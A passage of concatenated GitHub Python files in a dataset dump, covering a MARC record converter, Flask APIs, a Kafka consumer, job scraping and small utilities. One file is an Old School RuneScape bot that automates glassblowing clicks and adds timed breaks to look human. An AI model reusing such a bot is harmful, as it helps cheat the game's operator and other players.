{myzone.volume}')\n # myzone.volume = 18\n channel = myzone.get_current_transport_info()\n # myzone.state\n print(json.dumps(channel))\n\n\nload_dotenv()\nspotifyScratch()\n# sonosScratch()\n","repo_name":"nganju98/sonify","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6142,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"19228489506","text":"import psycopg2\nimport json\n\nfrom kafka import KafkaConsumer\n\n\n\ndef insertData(dbSession, dbCursor, text_query,v1,v2,v3,v4):\n sqlInsertRow1 = text_query; \n # Insert statement\n dbCursor.execute(sqlInsertRow1,(v1,v2,v3,v4));\n dbSession.commit()\n\nif __name__ == '__main__':\n\n dbSession = psycopg2.connect(user=\"kiriuser\",\n password=\"kiripass\",\n host=\"postgres\",\n port=\"5432\",\n database=\"kiritweet\");\n dbCursor = dbSession.cursor(); \n while True:\n consumer = KafkaConsumer('CasasTK',bootstrap_servers=['broker:29092'])\n for msg in consumer:\n \n record = json.loads(msg.value)\n string_list = record[\"text\"]\n \n words = string_list.split()\n numeric_filter = filter(str.isdigit, words[17])\n words[17] = \"\".join(numeric_filter)\n \n insertData(dbSession, dbCursor, \"INSERT INTO casas (city_name, number_rooms, monthly_cost, code) values(%s, %s, %s, %s)\",words[3],words[9],words[17],words[20]) \n ","repo_name":"fbponz/kiribati-dp2","sub_path":"casas/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42447617250","text":"import collections\nimport pickle\nfrom typing import Optional\n\nfrom rl_algos.collections.random_access_queue import RandomAccessQueue\nfrom rl_algos.utils.transpose_list_dict import transpose_list_dict\n\nfrom .abstract_replay_buffer import AbstractReplayBuffer\n\n\nclass ReplayBuffer(AbstractReplayBuffer):\n \"\"\"Experience Replay Buffer\n\n As described in\n https://storage.googleapis.com/deepmind-media/dqn/DQNNaturePaper.pdf.\n\n Args:\n capacity (int): capacity in terms of number of transitions\n num_steps (int): Number of timesteps per stored transition\n (for N-step updates)\n \"\"\"\n\n # Implements AbstractReplayBuffer.capacity\n capacity: Optional[int] = None\n\n def __init__(self, capacity: Optional[int] = None):\n self.capacity = int(capacity)\n self.memory = RandomAccessQueue(maxlen=capacity)\n\n def append(self, state, next_state, action, reward, terminal, reset, **kwargs):\n transition = dict(\n state=state,\n action=action,\n reward=reward,\n next_state=next_state,\n terminal=terminal,\n reset=reset,\n **kwargs\n )\n\n self.memory.append(transition)\n\n def __getitem__(self, idx):\n if isinstance(idx, int):\n return self.memory[idx]\n elif isinstance(idx, slice):\n start, stop, step = idx.indices(len(self.memory))\n return transpose_list_dict([self.memory[i] for i in range(start, stop, step)])\n\n def sample(self, n):\n assert len(self.memory) >= n\n s = self.memory.sample(n)\n return transpose_list_dict(s)\n\n def __len__(self):\n return len(self.memory)\n\n def save(self, filename):\n with open(filename, \"wb\") as f:\n pickle.dump(self.memory, f)\n\n def load(self, filename):\n with open(filename, \"rb\") as f:\n self.memory = pickle.load(f)\n if isinstance(self.memory, collections.deque):\n # Load v0.2\n self.memory = RandomAccessQueue(self.memory, maxlen=self.memory.maxlen)\n","repo_name":"yhisaki/rl-algos","sub_path":"rl_algos/buffers/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6957059050","text":"#!/usr/bin/python3\n\n\n\n# =============================================================================\n#\n# ================== MARC21 ISO 2709 CONSTANTS ================================\n\n\nfield_delimiter = chr(0x1E)\nsubfield_delimiter = chr(0x1F) \nrecord_terminator = chr(0x1D)\n\ndir_entry_size = 12\n\n\n\n# =============================================================================\n#\n# ================== FUNCTIONS: ISO 2709 TO RAW DATASTRUCTURE =================\n\n\ndef entries_in_iso_directory(directory_string):\n '''returns the list of 12-character substrings if:\n all characters are digits; \n there are at least 12 characters; \n and the length of \n the string is evenly divisible by 12 (because a directory entry\n is exactly 12 characters long).\n Otherwise raises a ValueError.\n '''\n\n print('DIRECTORY STRING:')\n print(directory_string)\n print()\n print()\n\n if not len(directory_string) >= dir_entry_size:\n raise ValueError('Directory string parameter requires a minimum of ' \n + str(dir_entry_size) + 'chars.')\n if not directory_string.isdigit():\n raise ValueError('Directory string parameter contains non-numeric characters.')\n if len(directory_string) % 12:\n raise ValueError('Directory string parameter length is not an integer multiple of 12.')\n\n # get the right 12-char string from the right starting pos\n # (list comprehension on a dir_entry_size (== 12) range, \n # with slicing syntax applied to directory_string)\n return [ directory_string[i:i+dir_entry_size] for i in range(0, len(directory_string), dir_entry_size) ]\n\n\ndef read_iso_field_content(dir_entry, fields_text):\n '''Accepts a single directory entry and the content text\n that the directory indexes. Returns a tuple: \n - the field's tag (embedded in the dir_entry), and\n - the content to which the directory points.\n\n Raises ValueError if dir_entry is not a 12-character string.\n Raises ValueError if dir_entry points beyond end of fields_text.\n Raises ValueError if the content does not begin with a field delimiter.\n '''\n if len(dir_entry) != dir_entry_size:\n raise ValueError('The dir_entry param \"' + dir_entry + '\" is not 12 characters long.')\n\n tag = dir_entry[:3]\n length = int(dir_entry[3:7])\n startpos = int(dir_entry[7:])\n\n if len(fields_text) <= startpos + length:\n raise ValueError('Inconsistent parameters: dir_entry points beyond fields_text.')\n\n content = fields_text[startpos:startpos + length]\n\n if not content.startswith(field_delimiter):\n # this is a problem\n raise ValueError('ISO 2709 field with tag \"' + tag + '\" should begin with ' + field_delimiter)\n \n return tag, content\n\n\n#TODO do we even need this? thinking not.\ndef remove_demarcators(field_content):\n removals = (field_delimiter, subfield_delimiter, record_terminator)\n return field_content.translate({ord(c): None for c in removals})\n\n\ndef make_raw_field(tag_content_pair):\n '''This function accepts a 2-tuple: (a 3 digit tag string, and an\n ISO 2709 representation of a single MARC field). It returns the \n field in raw form, as a dict with \"tag\", \"indicator_1\", \"indicator_2\",\n \"content\", and \"subfields\" mappings as needed.\n '''\n retval = {'tag': tag_content_pair[0]}\n content = tag_content_pair[1].split(subfield_delimiter)\n\n # the leading field delimiter (if present) is not useful at this point.\n content[0] = content[0].lstrip(field_delimiter)\n\n if len(content) == 1:\n # this field does not have subfields, nor (by MARC field \n # definition) indicators\n retval['content'] = content[0]\n\n else: \n # the first two characters should be indicators 1 & 2 respectively\n retval['indicator_1'] = content[0][0]\n retval['indicator_2'] = content[0][1]\n\n # the rest should be subfields\n # TODO fix premature serialization of FOREACH tho\n retval['subfields'] = []\n for subfield_expr in content[1:]:\n retval['subfields'].append({subfield_expr[0]: subfield_expr[1:]})\n\n return retval\n\n\n\ndef iso_record_2_raw(iso_record):\n '''Parses an ISO 2709 record into MARCout raw datastructures.\n '''\n LDR = iso_record[:24]\n print('LDR:')\n print(LDR)\n print()\n rest = iso_record[24:]\n first_delim_pos = rest.find(field_delimiter)\n print('first_delim_pos:')\n print(first_delim_pos)\n print()\n directory = rest[:first_delim_pos]\n dir_entries = entries_in_iso_directory(directory)\n fields = rest[first_delim_pos:]\n\n retval = []\n # begin with LDR\n retval.append({'tag': 'LDR', 'fixed': LDR})\n\n for entry in dir_entries:\n pair = read_iso_field_content(entry, fields)\n # print()\n # print('tag: ' + pair[0])\n # print(pair[1])\n # print(remove_demarcators(pair[1]))\n raw = make_raw_field(pair)\n # print(raw)\n retval.append(raw)\n\n return retval\n\n\n# =============================================================================\n#\n# ================== FUNCTIONS: RAW DATASTRUCTURE TO ISO 2709 =================\n\n\ndef raw_field_2_iso(raw_field):\n '''This function accepts a raw datastructure(dict) representation \n of a record; splits that into tag and content; and returns \n a 2-tuple of (tag, content) where content is flattened into a string,\n is properly formatted and delimited for ISO 2709.\n '''\n # tag\n tag = raw_field['tag']\n\n # field content\n retval = field_delimiter\n if 'indicator_1' in raw_field:\n retval += raw_field['indicator_1']\n if 'indicator_2' in raw_field:\n retval += raw_field['indicator_2']\n\n if 'content' in raw_field:\n # no preceding subfield delimiter\n retval += raw_field['content']\n else:\n # 'content' is incompatible with 'subfields' or 'foreach'\n if 'subfields' in raw_field:\n for subfield in raw_field['subfields']:\n retval += subfield_delimiter\n # dict with only one mapping; key is subfield code\n if len(subfield.keys()) > 1:\n raise ValueError('subfield dict with multiple mappings: \"' \n + str(subfield) + '\".')\n for sub_key in subfield.keys():\n retval += sub_key\n retval += subfield[sub_key]\n\n if 'foreach' in raw_field:\n # this is another level of complexity: a pattern of subfields,\n # repeated in \"groups\" corresponding to each item in the foreach.\n # There are also group-level items such as demarcators.\n # foreach is a list of lists:\n # \n # 'foreach': [\n # [{\n # 't': 'Pillow'\n # }, {\n # 'g': '(8:30)'\n # }, {\n # 'group_suffix': ' --'\n # }],\n # etc.\n\n # The outer list preserves sort order imposed on the groups.\n # The inner list preserves the pattern (including all demarcators).\n # Each dict contains a single entry.\n # - Normal subfields get rendered as subfields.\n # - Demarcators exist at the group level, and are to be rendered as \n # string literal values (not subfields) when encountered. NO\n # SUPPLEMENTAL SORTING is required - demarcators were sorted \n # when data was injected into the Raw form.\n\n for group_listing in raw_field['foreach']:\n\n for item in group_listing:\n # item is a dict. Should only ever have one key & \n # one associated value.\n key = list(item.keys())[0]\n if key.startswith('group_'):\n # demarcator\n retval += item[key]\n\n else:\n # it's a subfield\n retval += subfield_delimiter\n subfield_code = key\n subfield_val = item[subfield_code]\n retval += subfield_code\n retval += subfield_val\n\n\n return tag, retval\n\n\ndef make_iso_directory(field_defs):\n '''Accepts a list of 2-tuples of the form (tag, iso_content)\n and returns a directory listing\n '''\n retval = ''\n cur_startpos = 0\n\n # print()\n # print('MAKING ISO DIRECTORY----------------------------------')\n for field in field_defs:\n # print()\n # print('field: ' + str(field))\n # tag\n retval += field[0]\n # print('tag:' + field[0])\n field_len = len(field[1])\n # length of field content, zeropadded to 4 chars\n length = ('0000' + str(field_len))[-4:]\n # print('length: ' + length)\n retval += length\n # start position for this field\n start_pos = ('00000' + str(cur_startpos))[-5:]\n # print('start_pos: ' + start_pos)\n retval += start_pos\n # move the counter\n cur_startpos = cur_startpos + field_len\n\n # print('DONE MAKING DIRECTORY---------------------------------')\n # print()\n return retval\n\n\ndef raw_record_2_iso(raw_record):\n # raw_record is a list of field dicts, OPTIONALLY beginning with the\n # 24-charcter LDR code.\n\n # print()\n # print()\n # print('RAW RECORD:')\n # print(raw_record)\n # print()\n # print()\n\n LDR = None\n\n fields = []\n\n for raw_field in raw_record:\n if raw_field['tag'] == 'LDR':\n LDR = raw_field['fixed']\n else:\n # it's a normal field. Add (tag, content) to field list\n fields.append(raw_field_2_iso(raw_field))\n\n if not LDR:\n LDR = ''.join(['0','0','0','0','0',' ',' ',' ',' ','a','2','2',\n ' ',' ',' ',' ',' ',' ',' ','#','4','5','0','0'])\n\n directory = make_iso_directory(fields)\n\n field_text = ''.join([field_def[1] for field_def in fields])\n\n\n # this is a BINARY format. Take these strings of characters and \n # turn them into byte arrays that encode the characters as utf-8.\n # these byte arrays are string-like, with string methods.\n directory = directory.encode('utf-8')\n field_text = field_text.encode('utf-8')\n field_delimiter = chr(0x1E).encode('utf-8')\n record_terminator = chr(0x1D).encode('utf-8')\n\n # put these arrays together as the iso record.\n iso_record = directory\n iso_record += field_text\n iso_record += field_delimiter\n iso_record += record_terminator\n\n # Finish the LDR\n # First, this needs to be modified with string operations\n record_length = 24 + len(iso_record)\n\n # the length must be zeropadded for a total length of 5 digits\n record_length = ('00000' + str(record_length))[-5:]\n LDR = record_length + LDR[5:]\n\n # start position of record data is written to LDR positions 12:16.\n # it's computed by len(LDR) (always 24) + len(directory)\n fields_startpos = 24 + len(directory)\n # fields_startpos converted to string, zeropadded to length 5 digits\n fields_startpos = ('00000' + str(fields_startpos))[-5:]\n\n # insert fields_startpos where it belongs\n LDR = LDR[:12] + fields_startpos + LDR[17:]\n\n # convert the LDR to byte array, again using UTF-8\n LDR = LDR.encode('UTF-8')\n\n # prepend the LDR to the record\n iso_record = LDR + iso_record\n\n # and now, we have the correct binary content, with the correct lengths\n # and offsets computed... but we need to convert it BACK to UTF-8\n # for travel. Not sure this is necessary, but this is the cautious approach\n iso_record = iso_record.decode('utf-8')\n\n return iso_record\n\n","repo_name":"whblondeau/marcout","sub_path":"marcout_iso2709.py","file_name":"marcout_iso2709.py","file_ext":"py","file_size_in_byte":11744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15312250320","text":"from prettytable import PrettyTable\n\nfrom Indeed.jobpost.jobpost import JobPost as JobPostIndeed\n\n\nfield_names = [\"Job Title\", \"Company\", \"Location\", \"URL\", \"Date Posted\"]\n\n\ndef run_indeed_job_posts(job_type, location):\n indeed_job_post = JobPostIndeed()\n indeed_job_post.navigate_landing_page()\n indeed_job_post.browse_jobs(job_type, location)\n job_list = indeed_job_post.load_job_posts()\n job_table = PrettyTable(field_names=field_names)\n job_table.add_rows(job_list)\n print(job_table)\n\n\nsearch_type = input(\"Job type:\\n>> \")\nsearch_location = input(\"Job location:\\n>> \")\nrun_indeed_job_posts(search_type, search_location)\n","repo_name":"josh1506/job-post-web-scrape","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28168615576","text":"import numpy as np\nimport datetime as dt\n\n# Python SQL toolkit and Object Relational Mapper\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\n# create engine to hawaii.sqlite\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(autoload_with=engine)\n\n# Save references to each table\nmeasurement=Base.classes.measurement\nstation=Base.classes.station\n\n# Create our session (link) from Python to the DB\nsession=Session(engine)\n\n#Flask Setup\napp = Flask(__name__)\n\n#################################################\n# Flask Routes\n#################################################\n\n#Setup homepage and list availible routes\n@app.route(\"/\")\ndef welcome():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:
\"\n f\"/api/v1.0/precipitation
\"\n f\"/api/v1.0/stations
\"\n f\"/api/v1.0/tobs
\"\n f\"/api/v1.0/start
\"\n f\"/api/v1.0/start/end\"\n )\n\n#Set up precipitation route\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n #Create link from Python to DB\n session = Session(engine)\n \n # Query the results from your precipitation analysis (i.e. retrieve only the last 12 months of data)\n most_recent_date=dt.date(2017, 8 ,23)\n year_ago= most_recent_date - dt.timedelta(days=365)\n results= session.query(measurement.prcp, measurement.date).\\\n filter(measurement.date <= most_recent_date ).\\\n filter(measurement.date >= year_ago).all()\n \n session.close()\n \n #Convert tuples into a dictionary\n all_precipitation = []\n for date, prcp in results:\n precipitation_dict = {}\n precipitation_dict[\"date\"] = date\n precipitation_dict[\"prcp\"] = prcp\n all_precipitation.append(precipitation_dict)\n \n #Create JOSN list\n return jsonify(all_precipitation)\n\n# Create station route\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n #Create link from Python to DB\n session=Session(engine)\n \n # Query station information from dataset\n results= session.query(station.id, station.name, station.latitude, station.longitude).all()\n \n session.close()\n \n #Convert tuples into a dictionary\n all_stations=[]\n for row in results:\n station_dict= {}\n station_dict['id']= row[0]\n station_dict['name'] = row[1]\n station_dict['latitude'] = row[2]\n station_dict['longitude'] = row[3]\n all_stations.append(station_dict)\n \n #Create JSON list\n return jsonify(all_stations)\n \n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n #Create link from Python to DB\n session=Session(engine)\n \n #Create a query that returns the last year of data for the most active station \"USC00519281\"\n most_recent_date2=dt.date(2017,8,18)\n year_ago2= most_recent_date2 - dt.timedelta(days=365)\n results = session.query(measurement.date, measurement.tobs).\\\n filter(measurement.station == 'USC00519281').\\\n filter(measurement.date <= most_recent_date2 ).\\\n filter(measurement.date >= year_ago2).all()\n \n session.close()\n \n #Convert tuples into a dictionary\n all_tobs=[]\n for date, tobs in results:\n tobs_dict={}\n tobs_dict[\"date\"]= date\n tobs_dict[\"tobs\"]= tobs\n all_tobs.append(tobs_dict)\n \n #Create JSON list\n return jsonify(all_tobs)\n \n@app.route(\"/api/v1.0/start\")\ndef start():\n #Create link from Python to DB\n session=Session(engine)\n \n #Query Min, Max and Average temp between a set start and the rest of the DB\n start_date=dt.date(2014,1,14)\n results=session.query(func.min(measurement.tobs), func.max(measurement.tobs), func.avg(measurement.tobs)).\\\n filter(measurement.date >= start_date).all()\n \n session.close()\n\n #Convert tuples into a dictionary\n av_start_temp=[]\n for row in results:\n start_temp_dict={}\n start_temp_dict[\"Min\"]= row[0]\n start_temp_dict[\"Average\"]= row[2]\n start_temp_dict[\"Max\"]=row[1]\n av_start_temp.append(start_temp_dict)\n \n #Create JSON list\n return jsonify(av_start_temp)\n \n@app.route(\"/api/v1.0/start/end\")\ndef end():\n #Create link from Python to DB\n session=Session(engine)\n \n #Query Min, Max and Average temp between a set start and end date\n start_date=dt.date(2014,1,14)\n end_date=dt.date(2017,1,14)\n results=session.query(func.min(measurement.tobs), func.max(measurement.tobs), func.avg(measurement.tobs)).\\\n filter(measurement.date >= start_date).\\\n filter(measurement.date <= end_date).all()\n \n session.close()\n\n #Convert tuples into a dictionary\n av_start_end_temp=[]\n for row in results:\n end_temp_dict={}\n end_temp_dict[\"Min\"]= row[0]\n end_temp_dict[\"Average\"]= row[2]\n end_temp_dict[\"Max\"]=row[1]\n av_start_end_temp.append(end_temp_dict)\n \n #Create JSON list\n return jsonify(av_start_end_temp)\n \nif __name__ == '__main__':\n app.run()\n","repo_name":"jess-trus/sqlalchemy-challenge","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70317409067","text":"def split_check(total, people):\n if people <=1:\n raise ValueError(\"More than 1 person is required to split the check\")\n # This is the cost per person\n return round((total/people), 2)\n\ntry:\n total_amt = float(input(\"How much is the total cost of the bill? \"))\n total_ppl = int(input(\"How many people will be splitting the check? \"))\n amount = split_check(total_amt, total_ppl)\nexcept ValueError as err:\n print(\"Oh no! That's not a valid value. Try again!\")\n print(\"({})\".format(err))\nelse:\n print(\"Each person owes ${}\".format(amount))","repo_name":"jsthomas1288/check-splitter","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"92706352","text":"import datetime\nimport osrs\n\nbankers_ids = [\n '1633',\n '1613',\n '1634',\n '3089'\n]\n\nmolten_glass_id = '1775'\npipe_id = '1785'\n\n\ndef determine_item_to_make(lvl):\n if lvl < 4:\n return '1'\n elif lvl < 12:\n return '2'\n elif lvl < 33:\n return '3'\n elif lvl < 42:\n return '4'\n elif lvl < 46:\n return '5'\n elif lvl < 100:\n return '6'\n\n\ndef open_bank_interface(qh: osrs.queryHelper.QueryHelper):\n last_click = datetime.datetime.now() - datetime.timedelta(hours=1)\n while True:\n qh.query_backend()\n bank_data = qh.get_bank()\n if bank_data:\n return\n elif (datetime.datetime.now() - last_click).total_seconds() > 7:\n closest = osrs.util.find_closest_target(qh.get_npcs())\n if not closest:\n continue\n osrs.move.click(closest)\n last_click = datetime.datetime.now()\n\n\ndef withdraw_materials_v2(qh: osrs.queryHelper.QueryHelper):\n qh.query_backend()\n if not qh.get_bank():\n return\n glass = qh.get_bank(molten_glass_id)\n if not glass:\n exit('out of glass')\n osrs.move.click(glass)\n osrs.keeb.keyboard.press(osrs.keeb.key.esc)\n osrs.keeb.keyboard.release(osrs.keeb.key.esc)\n osrs.clock.random_sleep(0.8, 0.9)\n\n\nscript_config = {\n 'intensity': 'high',\n 'login': lambda: osrs.clock.random_sleep(3, 4),\n 'logout': False\n}\n\n\ndef main():\n qh = osrs.queryHelper.QueryHelper()\n qh.set_inventory()\n qh.set_bank()\n qh.set_skills({'crafting'})\n qh.set_widgets({'233,0', '270,14'})\n qh.set_npcs(bankers_ids)\n last_click = datetime.datetime.now() - datetime.timedelta(hours=1)\n while True:\n osrs.game.break_manager_v3(script_config)\n qh.query_backend()\n glass = qh.get_inventory(molten_glass_id)\n pipe = qh.get_inventory(pipe_id)\n if not pipe:\n exit('no pipe')\n if not glass:\n open_bank_interface(qh)\n # click the second item in inv\n osrs.move.click({'x': pipe['x'] + 30, 'y': pipe['y']})\n withdraw_materials_v2(qh)\n last_click = datetime.datetime.now() - datetime.timedelta(hours=1)\n elif glass and (datetime.datetime.now() - last_click).total_seconds() > 60:\n osrs.move.click(pipe)\n osrs.move.click(glass)\n wait_time = datetime.datetime.now()\n while True:\n qh.query_backend()\n if qh.get_widgets('270,14'):\n lvl = qh.get_skills('crafting')\n osrs.keeb.keyboard.type(determine_item_to_make(lvl['level']))\n last_click = datetime.datetime.now()\n break\n elif (datetime.datetime.now() - wait_time).total_seconds() > 4:\n break\n elif qh.get_widgets('233,0'):\n last_click = datetime.datetime.now() - datetime.timedelta(hours=1)\n\nmain()\n\n","repo_name":"glandon22/AutoOldSchool","sub_path":"crafting/blow_glass_v3.py","file_name":"blow_glass_v3.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6300978966","text":"import sys\nfrom PyQt6.QtWidgets import QApplication, QMainWindow, QLabel, QLineEdit, QPushButton, QVBoxLayout, QWidget\nimport matplotlib.pyplot as plt\n\n\ndef plotFrequency(frequency):\n # Plot the frequency on a graph\n plt.plot([0, 1], [frequency, frequency])\n plt.show()\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n # Create a label for the input frequency\n input_frequency_label = QLabel(\"Input Frequency:\")\n\n # Create a line edit for the input frequency\n self.input_frequency_edit = QLineEdit()\n\n # Create a button to amplify the frequency\n amplify_frequency_button = QPushButton(\"Amplify Frequency\")\n amplify_frequency_button.clicked.connect(self.amplifyFrequency)\n\n # Create a label for the amplified frequency\n self.amplified_frequency_label = QLabel(\"Amplified Frequency:\")\n\n # Create a layout for the main window\n layout = QVBoxLayout()\n layout.addWidget(input_frequency_label)\n layout.addWidget(self.input_frequency_edit)\n layout.addWidget(amplify_frequency_button)\n layout.addWidget(self.amplified_frequency_label)\n\n # Create a widget to contain the layout\n central_widget = QWidget()\n central_widget.setLayout(layout)\n\n # Set the central widget for the main window\n self.setCentralWidget(central_widget)\n\n def amplifyFrequency(self):\n # Get the input frequency from the user\n input_frequency = float(self.input_frequency_edit.text())\n\n # Amplify the frequency\n amplified_frequency = input_frequency * 10\n\n # Plot the amplified frequency on a graph\n plotFrequency(amplified_frequency)\n\n # Show the amplified frequency\n self.amplified_frequency_label.setText(\"Amplified Frequency: \" + str(amplified_frequency))\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n main_window = MainWindow()\n main_window.show()\n sys.exit(app.exec())\n","repo_name":"mendax0110/python","sub_path":"Electrical Engineering/TransistorAmp.py","file_name":"TransistorAmp.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24328234453","text":"from django.urls import path\r\nfrom . import views\r\n\r\napp_name='account'\r\n\r\nurlpatterns = [\r\n path('',views.index, name='home'),\r\n path('signin/',views.signin, name='signin'),\r\n path('signup/',views.signup, name='signup'),\r\n path('success/',views.reg_success, name='success'),\r\n path('signout/',views.signout, name=\"signout\"),\r\n]","repo_name":"shraymathur14/Login","sub_path":"Django_login/login/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1672349674","text":"from flask import Flask, request\nfrom flask_restx import Api\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nfrom flask_ipban import IpBan\nimport os\nfrom werkzeug.utils import secure_filename\n\nfrom asr import AutomaticSpeechRecognition\nfrom chatbot import Chatbot\nfrom config import INPUT_MEDIA_DIR\nfrom tts import TTS\nfrom test import Test\n\n\n\nclass FlaskServer:\n def __init__(self, \n name:str='Dialogflow_CX_API_WebServer', \n title:str='Dialogflow_CX_API_WebServer', \n description:str='Dialogflow CX API server', \n port:int=8080, version='1.0', \n host='0.0.0.0',\n ip_ban_mode:bool=True,\n limit_mode:bool=True,\n ascii_mode:bool=False,\n ):\n self.name = name\n self.title = title\n self.description = description\n self.port = port\n self.host = host\n\n self.endpoints_added = False\n\n # init Flask application\n self.app = Flask(name)\n if not ascii_mode:\n self.app.config['JSON_AS_ASCII'] = False\n self.api = Api(\n self.app, \n version=version, \n title=title, \n description=description,\n terms_url='/'\n )\n\n self.limit_mode = limit_mode\n self.limiter = None\n # limiter\n if self.limit_mode:\n self.limiter = Limiter(\n self.app,\n key_func=get_remote_address,\n default_limits=[\"200 per day\", \"50 per hour\"]\n )\n \n # ip ban mode\n self.ip_ban_mode = ip_ban_mode\n if self.ip_ban_mode:\n ip_ban = IpBan(ban_seconds=200)\n ip_ban.init_app(self.app)\n\n\n def run(self, debug:bool=True):\n if not self.endpoints_added:\n self.add_routers()\n self.app.run(debug=True, host=self.host, port=self.port)\n\n\n def add_routers(self):\n self.endpoints_added = True\n\n # Define routes\n API = self.api\n\n @API.route('/asr')\n class ASR(AutomaticSpeechRecognition):\n def post(self):\n if 'file' not in request.files:\n return 'File is missing', 404\n audio_file = request.files['file']\n try:\n input_file_path = self.parse_uploaded_file(audio_file)\n return self.run_asr(input_file_path, from_android=True)\n except Exception as e:\n return str(e), 400\n \n def parse_uploaded_file(self, audio_file):\n if audio_file.filename == '':\n raise Exception('File is missing')\n filename = secure_filename(audio_file.filename)\n input_file_path = os.path.join(INPUT_MEDIA_DIR, filename)\n audio_file.save(input_file_path)\n audio_file.close()\n\n print('input_file_path:', input_file_path)\n\n if not os.path.exists(input_file_path):\n raise Exception('File not found')\n return input_file_path\n\n @API.route('/asr/web')\n class STT(ASR):\n def post(self):\n if 'file' not in request.files:\n return 'File is missing', 404\n audio_file = request.files['file']\n try:\n input_file_path = self.parse_uploaded_file(audio_file)\n return self.run_asr(input_file_path, from_android=False)\n except Exception as e:\n return str(e), 400\n\n\n @API.route('/chatbot')\n class ChatbotAPI(Chatbot):\n def post(self):\n parameter_dict = request.args.to_dict()\n if len(parameter_dict) == 0:\n # set status code as 400\n return {'error': 'no parameter'}, 400\n if 'text' not in parameter_dict:\n # set status code as 400\n return {'error': 'no text parameter'}, 400\n text = parameter_dict['text']\n return self.run_chatbot(text)\n\n @API.route('/tts')\n class TTS_API(TTS):\n def post(self):\n parameter_dict = request.args.to_dict()\n if len(parameter_dict) == 0:\n # set status code as 400\n return {'error': 'no parameter'}, 400\n if 'text' not in parameter_dict:\n # set status code as 400\n return {'error': 'no text parameter'}, 400\n text = parameter_dict['text']\n return self.run_tts(text)\n\n @API.route('/test')\n class TestAPI(Test):pass\n","repo_name":"YeonwooSung/DialogflowExampleApp","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12523468138","text":"def bbox_output(video_name, bbox_clip, output_foot_data):\r\n # Creates a CSV file of each detection of the format:\r\n # [frame, x_center, y_center, detection confidence]\r\n\r\n tracked_item = 0\r\n\r\n if output_foot_data == True:\r\n tracked_item = 4\r\n\r\n if tracked_item != 0:\r\n clip_items = []\r\n\r\n for i in range(len(bbox_clip)):\r\n for j in range(len(bbox_clip[i])):\r\n if bbox_clip[i][j][2] == tracked_item:\r\n x_center = int((bbox_clip[i][j][0][3]+bbox_clip[i][j][0][1])/2)\r\n y_center = int((bbox_clip[i][j][0][2]+bbox_clip[i][j][0][0])/2)\r\n clip_items.append([i,x_center,y_center, bbox_clip[i][j][1]])\r\n\r\n df = pd.DataFrame(clip_items, columns=['frame','x', 'y', 'confidence'])\r\n# %cd '/content/drive/My Drive/Sync/Foot Data'\r\n name = video_name[:-4] + '_foot.csv'\r\n df.to_csv(name, index=False, header = True)\r\n\r\n\r\n return ()","repo_name":"BenKohn2004/Saber_Box","sub_path":"Python Definitions/bbox_output.py","file_name":"bbox_output.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"9865094467","text":"import matplotlib.pyplot as plt\n\ntypes=[\"A\",\"B\",\"O\",\"AB\"]#가로선에 쓸 내용들 지정\nplt.xticks((range(1,5)), types)\n# ↳가로선에 쓸 내용 \n# ↳1부터 5까지 숫자 생성\n# ↳가로선의 x축 위치 지정 \n# ↳가로선 설정\nplt.xlabel('Blood type')#x축 라벨\nplt.ylabel('People')#y축 라벨\nplt.title('Distribution of lood types')#제목\nplt.bar(1,73,width=0.4,color='k')\nplt.bar(2,86,width=0.4,color='r')\nplt.bar(3,68,width=0.4,color='b')\nplt.bar(4,27,width=0.4,color='g')\n# ↳막대의 색 지정\n# ↳막대의 두께 지정\n# ↳y축 위치(자료의 값)\n# ↳x축 위치\n# ↳막대그래프 생성\nplt.show()#그래프 출력\n\n\"\"\"\n윈래는\nplt.bar(x축 위치가 있는 리스트,자료의 값이 들어있는 리스트,(기타 설정))\n으로 구현해야하나....\n그렇게 하면 색 지정을 못해서.....\n하나하나 위치 지정하고 색 